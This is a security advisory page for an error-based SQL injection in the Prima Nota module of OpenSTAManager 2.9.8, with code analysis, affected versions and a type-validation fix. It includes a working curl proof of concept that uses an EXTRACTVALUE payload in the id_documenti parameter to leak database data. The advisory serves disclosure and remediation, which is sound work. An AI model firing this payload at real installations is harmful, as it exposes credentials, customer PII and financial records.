GIVE YOUR AGENT THE EVIDENCE

Set up in your agent.

One prompt to get started. Paste it into your coding agent to connect cve.new through MCP and bring vulnerability context into your workflow.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GIVE YOUR AGENT THE EVIDENCE

Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GHSA-4j2x-jh4m-fqv6high8.7

OpenSTAManager has a SQL Injection in the Prima Nota module

Check your stack

The advisory, in context

Summary

Critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages by injecting malicious SQL into URL parameters.

Status: ✅ Confirmed and tested on live instance (v2.9.8) Vulnerable Parameters: id_documenti (GET parameters) Affected Endpoint: /modules/primanota/add.php Attack Type: Error-Based SQL Injection (IN clause)

Details

OpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module's add.php file. The application fails to validate that comma-separated values from GET parameters are integers before using them in SQL IN() clauses, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.

Vulnerability Chain:

  1. Entry Point: /modules/primanota/add.php (Lines 63-67)

    $id_documenti = $id_documenti ?: get('id_documenti');
    $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
    

    Impact: The get() function retrieves user-controlled URL parameters, explode(',', (string) ...) splits them by comma, but NO validation ensures elements are integers.

  2. SQL Injection Point: /modules/primanota/add.php (Line 306)

    $id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];
    

    Impact: Array elements from $id_documenti are directly concatenated using implode() without type validation or prepare(), enabling full SQL injection.

Root Cause Analysis:

The vulnerability exists because:

  1. get('id_documenti') return user-controlled strings
  2. explode(',', (string) $value) splits by comma but doesn't validate types
  3. implode(',', $array) concatenates array elements directly into SQL
  4. No validation ensures array elements are integers
  5. Attacker can inject SQL by providing: ?id_documenti=1) AND EXTRACTVALUE(...) %23

Affected Code Path:

GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
  ↓
add.php:63 - $id_documenti = get('id_documenti')
  ↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]
  ↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]

PoC

Step 1: Login

curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Step 2: Verify Vulnerability (Error-Based SQL Injection)

Test 1: Extract Database User and Version

curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"

Response (error message visible to attacker):

<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: &#039;~osm@172.18.0.3 | 8.3.0&#039;</code>

<img width="1231" height="405" alt="image" src="https://github.com/user-attachments/assets/1657b844-281a-431b-8472-c81e4d90bf64" />

Impact

All authenticated users with access to the Prima Nota (Journal Entry) module.

Recommended Fix

Primary Fix - Type Validation:

File: /modules/primanota/add.php

BEFORE (Vulnerable - Lines 63-67):

$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];

AFTER (Fixed):

$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs

Credits

Discovered by Łukasz Rybak

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

Ecosystem versions

Earlier releases through 2.9.8 (inclusive)

No fix recorded for this interval.

87 explicitly affected versions

2.3.0, v2.4, v2.4.1, v2.4.10, v2.4.11, v2.4.12, v2.4.13, v2.4.14, v2.4.15, v2.4.16, v2.4.17, v2.4.17.1, v2.4.18, v2.4.19, v2.4.2, v2.4.20, v2.4.21, v2.4.22, v2.4.23, v2.4.24, v2.4.25, v2.4.26, v2.4.27, v2.4.28, v2.4.29, v2.4.3, v2.4.30, v2.4.31, v2.4.32, v2.4.33, v2.4.34, v2.4.35, v2.4.36, v2.4.37, v2.4.38, v2.4.39, v2.4.4, v2.4.40, v2.4.41, v2.4.42, v2.4.43, v2.4.44, v2.4.45, v2.4.46, v2.4.47, v2.4.48, v2.4.49, v2.4.5, v2.4.50, v2.4.51, v2.4.52, v2.4.53, v2.4.54, v2.4.6, v2.4.7, v2.4.8, v2.4.9, v2.5, v2.5.1-beta, v2.5.2-beta, v2.5.3, v2.5.4, v2.5.5, v2.5.6, v2.5.7, v2.6-beta, v2.6.1, v2.6.2, v2.7, v2.7-beta, v2.7.1, v2.7.2, v2.7.3, v2.8-beta, v2.8.1, v2.8.2, v2.8.3, v2.9, v2.9-beta, v2.9.1, v2.9.2, v2.9.3, v2.9.4, v2.9.5, v2.9.6, v2.9.7, v2.9.8

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "last_affected": "2.9.8"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "2.3.0",
    "v2.4",
    "v2.4.1",
    "v2.4.10",
    "v2.4.11",
    "v2.4.12",
    "v2.4.13",
    "v2.4.14",
    "v2.4.15",
    "v2.4.16",
    "v2.4.17",
    "v2.4.17.1",
    "v2.4.18",
    "v2.4.19",
    "v2.4.2",
    "v2.4.20",
    "v2.4.21",
    "v2.4.22",
    "v2.4.23",
    "v2.4.24",
    "v2.4.25",
    "v2.4.26",
    "v2.4.27",
    "v2.4.28",
    "v2.4.29",
    "v2.4.3",
    "v2.4.30",
    "v2.4.31",
    "v2.4.32",
    "v2.4.33",
    "v2.4.34",
    "v2.4.35",
    "v2.4.36",
    "v2.4.37",
    "v2.4.38",
    "v2.4.39",
    "v2.4.4",
    "v2.4.40",
    "v2.4.41",
    "v2.4.42",
    "v2.4.43",
    "v2.4.44",
    "v2.4.45",
    "v2.4.46",
    "v2.4.47",
    "v2.4.48",
    "v2.4.49",
    "v2.4.5",
    "v2.4.50",
    "v2.4.51",
    "v2.4.52",
    "v2.4.53",
    "v2.4.54",
    "v2.4.6",
    "v2.4.7",
    "v2.4.8",
    "v2.4.9",
    "v2.5",
    "v2.5.1-beta",
    "v2.5.2-beta",
    "v2.5.3",
    "v2.5.4",
    "v2.5.5",
    "v2.5.6",
    "v2.5.7",
    "v2.6-beta",
    "v2.6.1",
    "v2.6.2",
    "v2.7",
    "v2.7-beta",
    "v2.7.1",
    "v2.7.2",
    "v2.7.3",
    "v2.8-beta",
    "v2.8.1",
    "v2.8.2",
    "v2.8.3",
    "v2.9",
    "v2.9-beta",
    "v2.9.1",
    "v2.9.2",
    "v2.9.3",
    "v2.9.4",
    "v2.9.5",
    "v2.9.6",
    "v2.9.7",
    "v2.9.8"
  ]
}

References